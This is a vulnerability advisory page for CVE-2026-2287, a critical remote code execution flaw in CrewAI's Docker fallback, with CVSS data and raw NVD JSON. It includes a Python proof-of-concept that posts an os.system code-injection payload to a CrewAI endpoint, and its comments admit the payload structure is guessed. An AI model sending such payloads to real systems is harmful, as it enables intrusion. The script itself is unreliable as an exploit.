Security Vulnerability Report
中文
CVE-2026-2287 CVSS 9.8 CRITICAL

CVE-2026-2287

Published: 2026-03-30 16:16:05
Last Modified: 2026-04-15 13:37:09

Description

CrewAI does not properly check that Docker is still running during runtime, and will fall back to a sandbox setting that allows for RCE exploitation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:crewai:crewai:1.0.0:*:*:*:*:*:*:* - VULNERABLE
CrewAI < 2026-03-30 (Pre-patch versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-2287 # This script simulates triggering the fallback mechanism in CrewAI # by assuming the Docker daemon is unresponsive or crashed. import requests import time def exploit_crewai(target_url, command): """ Attempts to execute a command on the target CrewAI instance by exploiting the Docker fallback RCE vulnerability. """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2026-2287-Scanner' } # Malicious payload that executes system commands # The exact JSON structure depends on the CrewAI API implementation payload = { "description": "Execute task", "agent": "Executor", "tasks": [ { "description": f"import os; os.system('{command}')", "expected_output": "exploit" } ] } try: print(f"[*] Sending payload to {target_url}...") # In a real scenario, an attacker might first try to disrupt Docker # or rely on a race condition. Here we send the request directly # assuming the conditions are met or to trigger the check. response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080/api/execute" cmd = "whoami" exploit_crewai(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2287", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:04.877", "lastModified": "2026-04-15T13:37:08.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CrewAI does not properly check that Docker is still running during runtime, and will fall back to a sandbox setting that allows for RCE exploitation."}, {"lang": "es", "value": "CrewAI no verifica correctamente que Docker sigue ejecutándose durante el tiempo de ejecución, y recurrirá a una configuración de sandbox que permite la explotación de RCE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crewai:crewai:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "3DC9BCCB-78E5-4D50-9EAD-6F54EB4E3153"}]}]}], "references": [{"url": "https://www.kb.cert.org/vuls/id/221883", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}